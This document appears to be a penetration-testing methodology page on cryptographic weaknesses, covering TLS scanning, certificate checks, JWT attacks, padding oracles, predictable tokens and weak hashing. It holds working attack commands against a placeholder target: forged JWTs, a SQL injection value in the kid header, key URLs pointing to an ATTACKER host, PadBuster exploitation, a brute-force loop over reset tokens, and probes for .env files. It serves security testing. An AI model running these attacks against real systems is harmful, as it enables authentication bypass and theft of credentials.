| CWE | CWE-327, CWE-326 |
| WSTG | WSTG-CRYP-01, WSTG-CRYP-02, WSTG-CRYP-03, WSTG-CRYP-04 |
| MITRE ATT&CK | T1557 |
| CVSS Range | 4.3-9.1 |
| Tools | testssl.sh, sslscan |
| Difficulty | 🟡 intermediate |
Cryptographic Weakness
Cryptographic weaknesses occur when an application uses broken algorithms, weak keys, insufficient entropy, improper certificate validation, or flawed cryptographic implementations. These failures expose encrypted data, authentication tokens, and transport-layer security to practical attacks. OWASP ranks Cryptographic Failures as A02 in their Top 10. The impact ranges from session hijacking and credential theft to full data exfiltration.
Quick Reference​
CWEs that map here: CWE-295 (Improper Certificate Validation), CWE-326 (Inadequate Encryption Strength), CWE-327 (Broken or Risky Cryptographic Algorithm), CWE-330 (Insufficiently Random Values), CWE-347 (Improper Verification of Cryptographic Signature), CWE-328 (Use of Weak Hash), CWE-916 (Insufficient Password Hashing)
Three categories of cryptographic failure:
| Category | What to look for | Impact |
|---|---|---|
| Transport layer | Weak TLS versions, broken cipher suites, bad certificates | Traffic interception, MITM |
| Token/signature | JWT algorithm confusion, weak HMAC, predictable tokens | Authentication bypass, session hijack |
| Application crypto | Weak hashing, ECB mode, static IVs, padding oracles | Data decryption, credential theft |
Tools to have ready:
| Tool | Purpose |
|---|---|
testssl.sh | Comprehensive TLS/SSL assessment |
openssl s_client | Manual TLS connection testing |
nmap --script ssl-* | TLS vulnerability scanning |
jwt_tool | JWT manipulation and attack automation |
hashcat / john | HMAC secret cracking, hash cracking |
PadBuster | Padding oracle exploitation |
| Burp Sequencer | Token randomness analysis |
TLS/SSL Configuration Testing​
Protocol Version Check​
Test which TLS/SSL versions the server accepts. SSLv2, SSLv3, TLS 1.0, and TLS 1.1 are all deprecated and vulnerable.
# Full TLS assessment — run this first
testssl.sh --protocols --ciphers --vulnerabilities TARGET:443
# Quick protocol check with openssl
openssl s_client -tls1 -connect TARGET:443 </dev/null 2>&1 | grep "Protocol"
openssl s_client -tls1_1 -connect TARGET:443 </dev/null 2>&1 | grep "Protocol"
openssl s_client -tls1_2 -connect TARGET:443 </dev/null 2>&1 | grep "Protocol"
openssl s_client -tls1_3 -connect TARGET:443 </dev/null 2>&1 | grep "Protocol"
# Nmap cipher enumeration
nmap --script ssl-enum-ciphers -p 443 TARGET
If TLS 1.0 or 1.1 handshake succeeds, the server accepts deprecated protocols.
Cipher Suite Assessment​
Weak ciphers to flag:
| Cipher type | Why it's weak | Detection |
|---|---|---|
| NULL ciphers | No encryption at all | testssl.sh -z TARGET |
| EXPORT ciphers | 40/56-bit keys, crackable | testssl.sh -e TARGET |
| RC4 | Biased keystream, practical plaintext recovery | testssl.sh -4 TARGET |
| 3DES/DES | 64-bit block size, Sweet32 birthday attack | testssl.sh --ciphers TARGET |
| CBC mode (TLS 1.0) | Vulnerable to BEAST, Lucky13 | Check cipher list for -CBC- |
| Anonymous (ADH/AECDH) | No authentication, trivial MITM | Check for ANON in cipher list |
Strong configuration requires: TLS 1.2+ with AEAD ciphers (AES-GCM, ChaCha20-Poly1305), ECDHE for forward secrecy, 2048-bit+ RSA or 256-bit+ ECDSA keys.
Named TLS Vulnerabilities​
Test for each of these. A single positive result is a finding.
Heartbleed (CVE-2014-0160) — OpenSSL memory disclosure. Leaks up to 64KB of server memory per request, including private keys and session data.
testssl.sh -B TARGET
nmap -p 443 --script ssl-heartbleed TARGET
# Metasploit: use auxiliary/scanner/ssl/openssl_heartbleed
POODLE (CVE-2014-3566) — SSLv3 CBC padding oracle. Decrypts one byte per 256 requests on average.
testssl.sh -O TARGET
nmap -p 443 --script ssl-poodle TARGET
# Manual: if SSLv3 handshake succeeds, vulnerable
openssl s_client -ssl3 -connect TARGET:443 </dev/null 2>&1
BEAST (CVE-2011-3389) — TLS 1.0 CBC chosen-plaintext attack. Requires MITM position.
testssl.sh --beast TARGET
DROWN (CVE-2016-0800) — Cross-protocol attack using SSLv2 to decrypt TLS sessions sharing the same RSA key.
testssl.sh -D TARGET
nmap -p 443 -sV --script sslv2-drown TARGET
FREAK (CVE-2015-0204) — Forces RSA_EXPORT downgrade to 512-bit keys.
testssl.sh -F TARGET
Logjam (CVE-2015-4000) — Diffie-Hellman downgrade to 512-bit export-grade parameters.
testssl.sh -J TARGET
ROBOT — Bleichenbacher oracle on RSA key exchange. Allows decryption of captured TLS sessions.
testssl.sh --robot TARGET
Sweet32 (CVE-2016-2183) — Birthday attack on 64-bit block ciphers (3DES). Practical after ~32GB of captured traffic.
testssl.sh --sweet32 TARGET
# Flag any 3DES cipher suites as vulnerable
CRIME (CVE-2012-4929) — Exploits TLS-level compression to extract secrets via ciphertext size.
testssl.sh -C TARGET
# Check for "Compression: zlib" in openssl output
openssl s_client -connect TARGET:443 </dev/null 2>&1 | grep "Compression"
BREACH (CVE-2013-3587) — Similar to CRIME but targets HTTP-level compression. If server returns Content-Encoding: gzip and reflects user input in responses, it may be exploitable.
# Check if HTTP compression is enabled
curl -sI -H "Accept-Encoding: gzip, deflate" https://TARGET/ | grep -i "content-encoding"
CCS Injection (CVE-2014-0224) — Premature ChangeCipherSpec allows MITM key compromise.
testssl.sh -I TARGET
nmap -p 443 --script ssl-ccs-injection TARGET
Renegotiation (CVE-2009-3555) — Insecure TLS renegotiation allows request injection.
testssl.sh -R TARGET
Certificate Validation​
Server Certificate Issues​
# Full certificate analysis
openssl s_client -connect TARGET:443 </dev/null 2>&1 | openssl x509 -noout -text
# Check specific fields
openssl s_client -connect TARGET:443 </dev/null 2>&1 | openssl x509 -noout -subject -issuer -dates -serial
Certificate checklist:
| Check | What's wrong | Impact |
|---|---|---|
| Self-signed certificate | No CA validation | MITM trivial |
| Expired certificate | Not After in the past | Browsers warn, but APIs may ignore |
| Wrong CN/SAN | Subject doesn't match hostname | MITM if client doesn't verify |
| Weak signature | MD5 or SHA-1 signature algorithm | Collision attacks feasible |
| Short key | RSA < 2048 bits or ECDSA < 256 bits | Factoring/discrete log attacks |
| Wildcard abuse | *.example.com covers too many services | Compromise of one service impacts all |
| Missing HSTS | No Strict-Transport-Security header | SSL stripping attacks |
Client-Side Certificate Validation Bypass​
Many API clients and mobile apps skip certificate validation. Test for:
# Does the application accept a self-signed cert?
# Generate a self-signed cert for the target domain
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes \
-subj "/CN=TARGET"
# If the app connects through a proxy with this cert, validation is broken
# mitmproxy or Burp with custom CA cert
# Check for certificate pinning bypass
# Mobile: Frida + objection to bypass pinning at runtime
# API clients: Check if they set verify=False or equivalent
JWT Attacks​
JSON Web Tokens are a common target because the cryptographic operations happen client-side and server-side with the token as the transport.
None Algorithm Attack​
Change the JWT header algorithm to "none" and remove the signature:
# Decode the JWT header (base64url)
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
# {"alg":"HS256"}
# Forge: change alg to "none", modify payload, empty signature
# Header: {"alg":"none","typ":"JWT"}
# Payload: {"sub":"admin","role":"admin"}
# Token: base64url(header).base64url(payload).
# jwt_tool automates this
jwt_tool TOKEN -X a
Algorithm Confusion (RS256 to HS256)​
If the server uses RS256 (asymmetric), switch to HS256 (symmetric) and sign with the server's public key as the HMAC secret:
# 1. Get the server's public key
curl -s https://TARGET/.well-known/jwks.json | jq '.keys[0]'
# Or extract from the TLS certificate:
openssl s_client -connect TARGET:443 </dev/null 2>&1 | openssl x509 -pubkey -noout > pubkey.pem
# 2. Forge JWT: change alg to HS256, modify claims, sign with public key
jwt_tool TOKEN -X k -pk pubkey.pem
# 3. Submit the forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" https://TARGET/api/admin
Weak HMAC Secret Brute-Force​
If the server uses HS256/HS384/HS512, the secret may be weak or common:
# Crack with hashcat (mode 16500 = JWT)
hashcat -m 16500 -a 0 TOKEN wordlist.txt
# Crack with jwt_tool
jwt_tool TOKEN -C -d wordlist.txt
# Common weak secrets to try first:
# "secret", "password", "key", "jwt_secret", service name, empty string
Once cracked, re-sign tokens with arbitrary claims.
KID (Key ID) Injection​
The kid header field tells the server which key to use. If it's used in a file path or SQL query without sanitization:
# Path traversal — force server to use /dev/null (empty key) or known file
jwt_tool TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
jwt_tool TOKEN -I -hc kid -hv "../../etc/hostname" -S hs256 -p "$(cat /etc/hostname)"
# SQL injection — inject into key lookup query
jwt_tool TOKEN -I -hc kid -hv "' UNION SELECT 'attacker-controlled-key' -- " -S hs256 -p "attacker-controlled-key"
JWK / JKU / X5U Header Injection​
Embed your own key or point to an attacker-controlled key server:
# JWK injection — embed attacker's public key in token header
jwt_tool TOKEN -X i
# JKU injection — point to attacker's JWKS endpoint
jwt_tool TOKEN -X s -ju "https://ATTACKER/jwks.json"
# x5u injection — point to attacker's certificate
jwt_tool TOKEN -I -hc x5u -hv "https://ATTACKER/cert.pem"
Psychic Signature (CVE-2022-21449)​
Java 15-17 ECDSA vulnerability — zero-valued signatures are accepted as valid:
# Only works against Java 15-17 with ES256/ES384/ES512
# Forge: keep header and payload, replace signature with base64url of r=0, s=0
# Signature bytes: MAYCAQACAQA (base64url-encoded ASN.1 zero signature)
jwt_tool TOKEN -X es
Padding Oracle​
Padding oracle attacks target CBC-mode encryption where the server leaks whether decrypted padding is valid through different error messages or response timing.
Detect​
Look for encrypted tokens in cookies, URL parameters, or request bodies (typically base64-encoded, length is a multiple of the block size — 16 bytes for AES).
# Modify the last byte of the ciphertext and observe responses
# Different errors indicate a padding oracle:
# - HTTP 500 "Padding is invalid" vs HTTP 500 "Decryption failed"
# - HTTP 200 vs HTTP 500 (valid padding decrypts to valid app data vs invalid)
# - Response time differences (valid padding processes further)
# Flip bits in the second-to-last block (affects padding of last block)
# If responses differ based on which byte you flip, padding oracle exists
Exploit​
# PadBuster — automated padding oracle exploitation
# Decrypt an encrypted value:
padbuster https://TARGET/page?token=ENCRYPTED_TOKEN ENCRYPTED_TOKEN 16
# Encrypt arbitrary plaintext (for forging tokens):
padbuster https://TARGET/page?token=ENCRYPTED_TOKEN ENCRYPTED_TOKEN 16 \
-plaintext "admin=true"
# Specify encoding if needed:
# -encoding 0 = Base64
# -encoding 1 = Lowercase hex
# -encoding 2 = Uppercase hex
# -encoding 3 = .NET URL token
# -encoding 4 = Web-safe Base64
ASP.NET-specific: .NET ViewState and __EVENTVALIDATION fields are common padding oracle targets. If the server returns different errors for tampered ViewState, it's exploitable.
Weak Random / Token Predictability​
Detect Weak Entropy​
Capture multiple tokens (session IDs, CSRF tokens, password reset tokens, API keys) and analyze randomness:
# Collect tokens
for i in $(seq 1 100); do
curl -s -D - https://TARGET/login -o /dev/null | grep "Set-Cookie" >> tokens.txt
done
# Use Burp Sequencer for statistical analysis:
# 1. Send the request to Sequencer
# 2. Select the token position
# 3. Start live capture (2000+ samples recommended)
# 4. Analyze — look for effective entropy < 64 bits
Common Weak Patterns​
| Pattern | How to detect | Exploit |
|---|---|---|
| Sequential IDs | Tokens increment by 1 or small offset | Predict next token |
| Timestamp-based | Convert token to epoch, matches request time | Generate tokens for any time |
| Weak PRNG seed | Math.random(), rand(), random.Random | Recover seed from outputs, predict future values |
| MD5/SHA1 of predictable input | md5(user_id + timestamp) | Reconstruct inputs, generate valid tokens |
| Short tokens | < 16 bytes | Brute-force the token space |
Exploit Token Prediction​
# If tokens are sequential:
# Current token: 1000042 → next: 1000043, 1000044, ...
# Try accessing other users' resources with predicted tokens
# If timestamp-based (e.g., password reset):
# 1. Request password reset at known time
# 2. Generate candidate tokens for timestamps around that time
# 3. Try each candidate against the reset endpoint
for ts in $(seq $START_EPOCH $END_EPOCH); do
TOKEN=$(echo -n "user@example.com$ts" | md5sum | cut -d' ' -f1)
curl -s "https://TARGET/reset?token=$TOKEN" | grep -q "success" && echo "FOUND: $TOKEN at $ts"
done
# If PRNG state can be recovered:
# Use language-specific PRNG crackers (e.g., randcrack for Python's Mersenne Twister)
# Collect 624 consecutive 32-bit outputs to fully recover MT19937 state
Hardcoded Keys and Secrets​
Where to Find Them​
# JavaScript bundles — search for crypto-related strings
curl -s https://TARGET/static/js/main.js | grep -iE "(secret|key|password|hmac|aes|encrypt|jwt)" | head -20
# .well-known endpoints
curl -s https://TARGET/.well-known/jwks.json
curl -s https://TARGET/.well-known/openid-configuration
# Source maps (if exposed)
curl -s https://TARGET/static/js/main.js.map | jq '.sources'
# Error pages may leak keys in stack traces
curl -s https://TARGET/api/debug
curl -s https://TARGET/api/error
# Config files
curl -s https://TARGET/.env
curl -s https://TARGET/config.json
curl -s https://TARGET/appsettings.json
Key Reuse Across Environments​
If you obtain a key from a dev/staging environment:
# Test if the same key works in production
# Sign a JWT with the staging key and submit to production
jwt_tool STAGING_TOKEN -T -S hs256 -p "STAGING_SECRET"
curl -H "Authorization: Bearer <FORGED_TOKEN>" https://PRODUCTION/api/me
# Test if a key from one service works on another
# Shared keys across microservices = lateral movement
Weak Algorithms in Application Code​
Weak Hashing​
If the application uses MD5 or SHA-1 for authentication, integrity checks, or signatures:
# Identify hash type by length
# 32 hex chars = MD5
# 40 hex chars = SHA-1
# 64 hex chars = SHA-256
# If password hashes use MD5/SHA-1 without salt:
hashcat -m 0 hash.txt wordlist.txt # MD5
hashcat -m 100 hash.txt wordlist.txt # SHA-1
# If HMAC uses MD5:
hashcat -m 50 hash.txt wordlist.txt # HMAC-MD5
# If file integrity uses MD5 — collision attacks are practical
# Generate two files with the same MD5 but different content
# Use HashClash or fastcoll for MD5 collision generation
ECB Mode Detection​
ECB encrypts identical plaintext blocks to identical ciphertext blocks. If you can observe this pattern, ECB is in use:
# Submit repeated plaintext and check for repeated blocks in ciphertext
# Example: register two users with identical data, compare encrypted cookies
# If 16-byte blocks repeat in the ciphertext, it's ECB
# ECB allows block-level manipulation:
# Cut-and-paste attack: swap ciphertext blocks to rearrange encrypted data
# Example: swap the "role=user" block with "role=admin" from another context
Static or Reused Initialization Vectors​
If the same IV is used for every encryption operation, identical plaintexts produce identical ciphertexts:
# Test: encrypt the same value twice and compare ciphertexts
# If ciphertexts are identical, IV is static or missing
# With CBC and a known IV:
# XOR the IV with your desired plaintext block to control decryption of block 1
# This enables chosen-plaintext manipulation of the first block
Sensitive Data Over Unencrypted Channels​
Mixed Content and HTTP Fallback​
# Check if sensitive endpoints accept HTTP
curl -v http://TARGET/api/login 2>&1 | head -20
curl -v http://TARGET/api/me 2>&1 | head -20
# Check HSTS header
curl -sI https://TARGET/ | grep -i "strict-transport-security"
# Missing HSTS = SSL stripping is possible
# Check for HTTP to HTTPS redirect (and whether credentials travel in the redirect)
curl -v -L http://TARGET/login 2>&1 | grep -E "(Location|Cookie|Authorization)"
# Internal API traffic — if you have network access:
# Sniff for plaintext HTTP between microservices
# tcpdump -i any -A port 80 | grep -i "authorization\|cookie\|password"
Tools​
| Tool | Purpose | When to use |
|---|---|---|
| testssl.sh | Full TLS/SSL assessment — protocols, ciphers, vulns | First tool to run. Covers all named TLS attacks in one pass (testssl.sh TARGET) |
| openssl s_client | Manual TLS connection and cert inspection | When you need specific protocol/cipher tests or cert field analysis |
| nmap ssl- scripts* | TLS vuln scanning and cipher enumeration | Quick scanning: nmap --script ssl-enum-ciphers,ssl-heartbleed,ssl-poodle -p 443 TARGET |
| jwt_tool | JWT manipulation — all attack types | Any JWT target. Automates none/algorithm confusion/injection attacks (jwt_tool TOKEN -X a) |
| hashcat | HMAC secret cracking, hash cracking | After capturing JWT with HS256 (hashcat -m 16500 TOKEN wordlist.txt) |
| PadBuster | Padding oracle exploitation | After confirming differential error responses for tampered ciphertext |
| Burp Sequencer | Token entropy analysis | Collect 2000+ tokens, analyze for statistical weaknesses |
| CyberChef | Encoding/decoding, crypto operations | Quick base64/hex/JWT decode and manipulation |
testssl.sh workflow — run this first for any TLS target:
# Clone and run
git clone https://github.com/drwetter/testssl.sh.git
cd testssl.sh
# Full assessment with HTML output
./testssl.sh --html TARGET:443
# Quick vulnerability-only scan
./testssl.sh --vulnerable TARGET:443
# Check specific attacks
./testssl.sh --heartbleed --poodle --robot --drown --beast --freak --logjam TARGET:443
jwt_tool workflow:
# Install
pip install jwt_tool
# Scan all attacks automatically
jwt_tool TOKEN -M at
# Tamper with specific claims
jwt_tool TOKEN -T -S hs256 -p "secret"
# Dictionary attack on HMAC secret
jwt_tool TOKEN -C -d /usr/share/wordlists/rockyou.txt
Prioritization​
Test these first (highest real-world exploitability)​
- Weak or missing TLS configuration -- EPSS >0.5 for TLS misconfiguration CVEs. Test for SSLv3, TLS 1.0/1.1, weak cipher suites (RC4, DES, export ciphers), and missing HSTS headers. Use
testssl.shorsslscanfor rapid assessment. These are the most commonly found and easily exploited cryptographic weaknesses. - Weak password hashing -- MD5, SHA1, or unsalted hashes for password storage. If password hashes are accessible (via SQLi or other vulnerabilities), weak hashing makes credential recovery trivial.
- Weak JWT signing secrets -- Brute-force HS256/HS384/HS512 secrets with hashcat or jwt_tool. Common weak secrets (
secret,password, app name) are found frequently and yield full authentication bypass.
Test these if time permits (lower exploitability)​
- Insufficient randomness in tokens -- Analyze session tokens, CSRF tokens, and password reset tokens for predictable patterns (timestamp-based, sequential, low entropy). Requires collecting multiple samples.
- Improper certificate validation -- Test if the application validates server certificates when making outbound HTTPS requests. Common in microservice architectures and API integrations.
- Use of deprecated cryptographic algorithms in application logic -- ECB mode encryption, RSA without padding, deterministic encryption of sensitive data. Requires access to encrypted data or ciphertext analysis.
Skip if​
- Application uses TLS 1.2+ exclusively with strong cipher suites and HSTS is enforced
- All authentication tokens are generated by a well-known framework or identity provider with no custom cryptographic logic
- No encrypted data is accessible for analysis and no password hashes have been obtained
Asset criticality​
Prioritize by data protection impact: TLS protecting authentication/payment flows > password hash strength > token signing > data-at-rest encryption > certificate validation in internal services. Cryptographic weaknesses on internet-facing TLS are always higher priority than internal-only issues.